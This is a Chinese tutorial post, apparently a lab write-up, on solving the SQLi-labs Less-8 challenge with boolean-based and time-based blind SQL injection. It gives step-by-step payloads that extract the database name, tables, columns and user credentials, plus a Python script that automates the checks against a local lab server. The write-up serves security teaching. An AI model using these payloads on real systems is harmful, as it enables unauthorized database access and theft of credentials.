Less-8 GET-Blind-Boolean Based-Single Quotes - 详解

news/2025/12/6 16:41:35/文章来源:https://www.cnblogs.com/ljbguanli/p/19316123

Less-8 GET-Blind-Boolean Based-Single Quotes - 详解

GET-盲注-基于布尔值-单引号

Less-8 代码分析

关键特征对比

特征Less-5Less-8
SQL结构id='$id'id='$id'
成功时“You are in”“You are in”
失败时显示错误 mysql_error()什么都不显示
注入类型报错注入/布尔盲注纯布尔盲注

核心区别(关键!)

// Less-5
else {
echo 'You have an error in your SQL syntax';
print_r(mysql_error());  // ← 显示错误信息,可以报错注入
}
// Less-8  
else {
echo "</br></font>";     // ← 只有空标签,什么都不显示!
echo '<font color= "#0000ff" font size= 3>';
}

Less-8 的特点:

  • ✅ 成功:显示 “You are in…”
  • ❌ 失败:完全空白(连错误信息都没有)
  • ❌ 不能用报错注入(因为不显示错误)
  • ✅ 只能用布尔盲注时间盲注

注入方法

❌ 不可用的方法

1. 联合查询(看不到数据)
?id=-1' union select 1,database(),3 --+
结果:You are in...........
问题:看不到 database() 的结果
2. 报错注入(不显示错误)
?id=1' and extractvalue(1,concat(0x7e,database())) --+
结果:(空白)
问题:不显示错误信息

✅ 可用的方法

方法1:布尔盲注(推荐)

基于页面是否显示 “You are in” 来判断条件真假。

方法2:时间盲注(备选)

基于响应时间来判断条件真假。

完整的布尔盲注流程

Step 1: 确认注入点

-- 测试1:正常请求
?id=1
结果:You are in...........-- 测试2:单引号测试
?id=1'
结果:(空白)  ← SQL错误,但不显示
-- 测试3:闭合测试
?id=1' --+
结果:You are in...........-- 测试4:逻辑测试
?id=1' and '1'='1' --+
结果:You are in...........  ✅ (True)
?id=1' and '1'='2' --+
结果:(空白)  ❌ (False)



确认:布尔盲注可行!

Step 2: 获取数据库名

2.1 获取数据库名长度
-- 二分查找法
?id=1' and length(database())>10 --+
结果:(空白)  → 长度 ≤ 10
?id=1' and length(database())>5 --+
结果:You are in  → 长度 > 5
?id=1' and length(database())>7 --+
结果:You are in  → 长度 > 7
?id=1' and length(database())>8 --+
结果:(空白)  → 长度 ≤ 8
?id=1' and length(database())=8 --+
结果:You are in  → 长度 = 8
2.2 逐字符猜解数据库名
-- 猜第1个字符
?id=1' and ascii(substr(database(),1,1))>100 --+
结果:You are in  → ASCII > 100
?id=1' and ascii(substr(database(),1,1))>110 --+
结果:You are in  → ASCII > 110
?id=1' and ascii(substr(database(),1,1))>115 --+
结果:(空白)  → ASCII ≤ 115
?id=1' and ascii(substr(database(),1,1))=115 --+
结果:You are in  → ASCII = 115's'-- 猜第2个字符
?id=1' and ascii(substr(database(),2,1))=101 --+
结果:You are in  → 'e' ✅
-- 猜第3个字符
?id=1' and ascii(substr(database(),3,1))=99 --+
结果:You are in'c'-- 继续...
-- 最终得到:security

Step 3: 获取表名

-- 获取表的数量
?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>3 --+
结果:You are in  → 表数量 > 3
?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4 --+
结果:You are in  → 表数量 = 4-- 获取第1个表名的长度
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 --+
结果:You are in  → 第1个表名长度 = 6
-- 逐字符猜解第1个表名
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 --+
结果:You are in'e'
-- 继续猜解...
-- 得到:emails

Step 4: 获取列名

-- 获取users表的列数
?id=1' and (select count(column_name) from information_schema.columns where table_name='users')=3 --+
结果:You are in  → 列数 = 3 ✅
-- 获取列名
?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105 --+
结果:You are in'i'
-- 继续...
-- 得到:id, username, password

Step 5: 获取数据

-- 获取第1个用户名
?id=1' and ascii(substr((select username from users limit 0,1),1,1))=68 --+
结果:You are in  → 'D'
?id=1' and ascii(substr((select username from users limit 0,1),2,1))=117 --+
结果:You are in'u'
-- 继续...
-- 得到:Dumb
-- 获取第1个密码
?id=1' and ascii(substr((select password from users limit 0,1),1,1))=68 --+
结果:You are in  → 'D'
-- 继续...
-- 得到:Dumb

使用自动化脚本

修改配置

# ==================== 配置区 ====================
URL = "http://192.168.224.1:8887/Less-8/?id="
SUCCESS_FLAG = "You are in"
CLOSURE = "'"  # Less-8 是单引号闭合
NUM_THREADS = 10
TIMEOUT = 5

快速测试脚本

import requests
url = "http://192.168.224.1:8887/Less-8/?id="
success_flag = "You are in"
def check(payload):
try:
resp = requests.get(url + payload, timeout=5)
return success_flag in resp.text
except:
return False
# 测试1:确认闭合方式
print("[*] 测试闭合方式...")
if check("1' and '1'='1' --+"):
print("✅ True条件成功")
else:
print("❌ True条件失败")
if not check("1' and '1'='2' --+"):
print("✅ False条件失败(正常)")
else:
print("❌ False条件成功(异常)")
# 测试2:获取数据库名长度
print("\n[*] 获取数据库名长度...")
for length in range(1, 20):
if check(f"1' and length(database())={length} --+"):
print(f"✅ 数据库名长度: {length}")
break
# 测试3:获取数据库名第1个字符
print("\n[*] 获取数据库名第1个字符...")
for ascii_val in range(97, 123):  # a-z
if check(f"1' and ascii(substr(database(),1,1))={ascii_val} --+"):
print(f"✅ 第1个字符: {chr(ascii_val)} (ASCII {ascii_val})")
break
print("\n[*] 使用完整脚本可以自动获取所有数据")

完整注入爆库的方法用之前less5的脚本修改即可。

时间盲注(备选方法)

如果页面完全没有任何差异(连 “You are in” 都没有),使用时间盲注:

-- 测试
?id=1' and if(1=1,sleep(5),1) --+
结果:5秒后返回(True)
?id=1' and if(1=2,sleep(5),1) --+
结果:立刻返回(False-- 获取数据库名长度
?id=1' and if(length(database())=8,sleep(5),1) --+
结果:5秒后返回 → 长度 = 8
-- 逐字符猜解
?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1) --+
结果:5秒后返回 → 第1个字符是 's'

完整对比表

特性Less-5Less-8
闭合方式''
成功显示“You are in”“You are in”
失败显示显示错误信息空白
报错注入✅ 可用❌ 不可用
布尔盲注✅ 可用只能用这个
时间盲注✅ 可用✅ 可用
联合查询❌ 不显示数据❌ 不显示数据
难度⭐⭐⭐⭐⭐⭐⭐

实战技巧

技巧1:快速验证

-- 一句话验证布尔盲注
?id=1' and 1=1 --+   → You are in (✅)
?id=1' and 1=2 --+   → 空白 (❌)

技巧2:优化查询

-- 使用 limit 避免子查询返回多行错误
?id=1' and (select username from users limit 0,1)='Dumb' --+
-- 使用 ascii + substr 逐字符猜解
?id=1' and ascii(substr((select username from users limit 0,1),1,1))>100 --+

技巧3:减少请求次数

# 使用二分查找,而不是遍历
# 猜解 ASCII 值(32-126)
# 遍历需要:94次请求
# 二分查找:只需约7次请求

使用完整的自动化脚本

直接使用之前的 blind_sqli_advanced.py 脚本:

# 修改配置
URL = "http://192.168.224.1:8887/Less-8/?id="
SUCCESS_FLAG = "You are in"
CLOSURE = "'"
NUM_THREADS = 10
# 运行
python3 blind_sqli_advanced.py quick

总结

Less-8 的特点

纯布尔盲注

推荐方法

  1. 布尔盲注(首选)
  2. 时间盲注(备选)

闭合方式

CLOSURE = "'"

自动化

  • 使用之前的多线程脚本
  • 只需修改 URL 和 CLOSURE 配置

Less-8 是学习纯布尔盲注的经典题目,和 Less-5 的区别就是不显示错误信息,只能通过页面有无内容来判断!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/990371.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

舒适的轮胎推荐:TOP10舒适胎专业测评

舒适的轮胎推荐:TOP10舒适胎专业测评在高端出行日益成为一种生活态度的当下,越来越多的车主不再满足于轮胎只扮演“默默支撑”的角色,而是期待它在每一次转动间,赋予座舱宁静、柔韧与安稳,把驾驶还原为一种身心舒…

2025年节油的轮胎推荐:权威省油胎最新榜单

2025年节油的轮胎推荐:权威省油胎最新榜单在全球汽车产业加速向电动化转型的背景下,用户对轮胎的期待已从传统的“耐用”“安全”延伸至“能效优化”与“全场景适配”。2025年节油的轮胎推荐正成为新能源车主与注重能…

2025年丰田凯美瑞更换轮胎推荐:权威轮胎推荐必读攻略

2025年丰田凯美瑞更换轮胎推荐:权威轮胎推荐必读攻略在当前中高端家用轿车市场中,2025年丰田凯美瑞依旧凭借均衡的驾控质感、宽敞的空间表现与稳定的品质口碑,稳居中型轿车的主流阵营。然而,伴随轮胎服役周期的到来…

2025年本田雅阁更换轮胎推荐:专业轮胎选择深度解析

2025年本田雅阁更换轮胎推荐:专业轮胎选择深度解析在当前中高端轿车市场中,2025年本田雅阁依旧凭借均衡的操控质感、宽敞的乘坐空间与高效的燃油经济性,稳居家庭与商务用户的首选阵营。然而,伴随轮胎更换周期的到来…

奔跑

我看到了远处有一块的金条,愁绪便消散了。 我兴奋地跑了过去,可那块金条似乎越来越远了。 我便加快了速度。 几万年后,我终于跑到了那金条的面前。 仔细看了一眼才发现那哪是一块金条啊,分明是一片金黄的落叶。 我…

论文写作辅助必备!7款AI工具让你轻松搞定论文,查重无忧

2025年冬,作者写论文愁眉不展,经邻桌同学提点开启AI辅助写作探索。作者试用7款AI论文工具后,分享使用实战经验。包括瑞达写作、PaperFine、PaperTan等,各工具有不同特点,如瑞达写作能30分钟生成初稿、覆盖多类型论…

运动补偿中的距离对准技术:原理、方法与应用

一、概述:运动补偿与距离对准的定义 1. 运动补偿的背景 在激光雷达(LiDAR)、合成孔径雷达(SAR)、超声成像等主动遥感系统中,平台运动(如无人机、卫星、车辆、机器人)会导致传感器与目标间的相对位置动态变化,…

记一次Sqlserver数据库存储过程调用导致的连接池耗尽事件

背景: 有两台数据库服务器IP分别为A和B。 (1)A服务器上有一个存储过程名称Proc_A,B服务器上有一个存储过程名称Proc_B, A服务器上有B服务器上远程数据库链接,B服务器上也有A服务器上远程数据库链接。 (2)在A服务…

2025/12/6下午计划

2025/12/6下午计划现在时间是16:19,上午11点起来后吃饭刷短视频打排位,脑子也没记下什么事情。今天还可以继续学到19点。 1.学习编译原理。为期末考试做准备。优先搞懂作业七和作业九。再看看ppt和课本。实验方面搜…

2025年下半年上海ISO27001认证机构综合评估与选择指南

摘要 随着信息安全威胁日益复杂,ISO27001认证成为企业信息安全管理的重要标准。2025年下半年,上海地区认证服务市场呈现专业化、细分化的趋势,本文基于行业调研数据,为需要认证服务的企业提供客观参考。文末附联系…

Spring Boot:核心概念、核心特性与实战应用全解析

Spring Boot 是 Pivotal(后并入 VMware)基于 Spring 框架推出的快速开发脚手架,核心定位是 “约定优于配置”—— 通过自动配置、 starters 依赖封装、嵌入式服务器等特性,简化 Spring 应用的搭建、配置与部署流程…

2025年下半年上海ISO27001认证平台口碑排行榜

摘要 随着信息安全意识的提升,ISO27001认证在2025年下半年成为上海企业关注的焦点。本文基于行业数据、用户反馈和专家评测,为您呈现上海地区ISO27001认证服务商的综合排名,旨在帮助企业选择可靠合作伙伴。排名综合…

Spring Boot和Spring有什么区别?

Spring 和 Spring Boot 并非 “替代关系”,而是 **“基础框架” 与 “快速开发脚手架”** 的互补关系 ——Spring 是 Java 生态的核心企业级框架,定义了依赖注入(DI)、面向切面编程(AOP)等核心规范;Spring Boot…

2025年下半年上海ISO三体系认证服务专业机构深度评测与选择指南

摘要 随着2025年企业标准化管理需求的不断提升,上海ISO三体系认证服务行业迎来新一轮发展机遇。本文基于市场调研和用户反馈,对上海地区ISO认证服务机构进行客观评估,为有认证需求的企业提供参考依据。文末附有专业…

2025年下半年上海ISO三体系认证服务商全面评测与选择指南

摘要 随着2025年企业国际化进程加速,上海ISO三体系认证行业迎来新一轮发展高峰,认证需求同比增长15%以上(数据来源:中国认证认可协会2025年报告)。本文基于市场调研和用户反馈,深度解析top5认证服务商,并提供客…

2025年五大直流电源供应商推荐,有名的直流电源企业与全解析

在新能源革命、半导体精密检测与工业智能制造蓬勃发展的当下,高精度、高可靠性的直流电源已成为各行业研发与生产的核心基石。面对市场上种类繁多的直流电源产品,如何精准选择契合自身需求的供应商?以下依据技术实力…

多级隐马尔可夫模型研究新进展

本文介绍了两篇关于多级隐马尔可夫模型的新预印本,详细讲解了其在心理学时间序列数据分析中的应用,包括模型设定、估计、选择与解释,并提供了一个基于真实数据集的完整可重复教程。两篇关于多级隐马尔可夫模型的新预…

信仰是为了虚幻之人

这是计划的一部分。东风谷早苗,拥有引发奇迹程度的能力。 计划是什么呢。 尝试过一篇私密文章,内容为一天做一道数据结构题,持续 365 天。显然已经失败了。 尝试过一篇公开文章,内容为 100 道 DP 和 COUNT。花了快…

P10763 [BalticOI 2024] Tiles

洛谷 很明显是一个扫描线问题,但是明显比大部分扫描线复杂,因为除了要预处理还需要大量的分析。 由于题目要求我们求出在 \(x\) 左边铺上满足要求的最大值,所以可以以纵轴平行的边作为扫描线。 由于每条边之间可能会…